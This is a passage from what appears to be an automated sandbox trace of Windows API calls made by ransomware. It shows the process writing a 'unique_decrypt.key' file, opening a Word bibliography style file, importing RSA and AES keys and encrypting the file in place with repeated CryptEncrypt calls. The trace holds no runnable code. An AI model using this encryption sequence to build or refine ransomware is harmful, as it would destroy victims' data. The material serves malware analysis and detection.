dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0088.570] WriteFile (in: hFile=0x28c, lpBuffer=0x167eab8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x167eab8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0088.571] CloseHandle (hObject=0x28c) returned 1 [0088.571] GetProcessHeap () returned 0x1600000 [0088.571] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16374f8 | out: hHeap=0x1600000) returned 1 [0088.572] GetProcessHeap () returned 0x1600000 [0088.572] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1631740 [0088.572] PathCombineW (in: pszDest=0x1631740, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" [0088.572] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0088.573] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0088.574] CloseHandle (hObject=0x28c) returned 1 [0088.574] GetProcessHeap () returned 0x1600000 [0088.574] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1631740 | out: hHeap=0x1600000) returned 1 [0088.574] GetProcessHeap () returned 0x1600000 [0088.574] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bea8 | out: hHeap=0x1600000) returned 1 [0088.574] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5b719, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d5b719, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2120015, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x48839, dwReserved0=0x0, dwReserved1=0xce, cFileName="CHICAGO.XSL", cAlternateFileName="")) returned 1 [0088.574] GetProcessHeap () returned 0x1600000 [0088.574] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656190 [0088.574] PathCombineW (in: pszDest=0x1656190, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="CHICAGO.XSL" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" [0088.574] StrStrW (lpFirst=".omnisphere", lpSrch=".XSL") returned 0x0 [0088.575] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0088.575] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=297017) returned 1 [0088.575] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x48315, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0088.575] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.578] GetTickCount () returned 0x1156500 [0088.579] GetTickCount () returned 0x1156500 [0088.579] GetTickCount () returned 0x1156500 [0088.579] GetTickCount () returned 0x1156500 [0088.579] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668708) returned 1 [0088.580] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16397a8) returned 1 [0088.580] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0088.580] CryptDestroyKey (hKey=0x16397a8) returned 1 [0088.580] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0088.580] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x48839, lpName=0x0) returned 0x288 [0088.580] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x48839) returned 0x3c00000 [0088.631] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669010) returned 1 [0088.631] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0088.632] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.632] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.633] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, 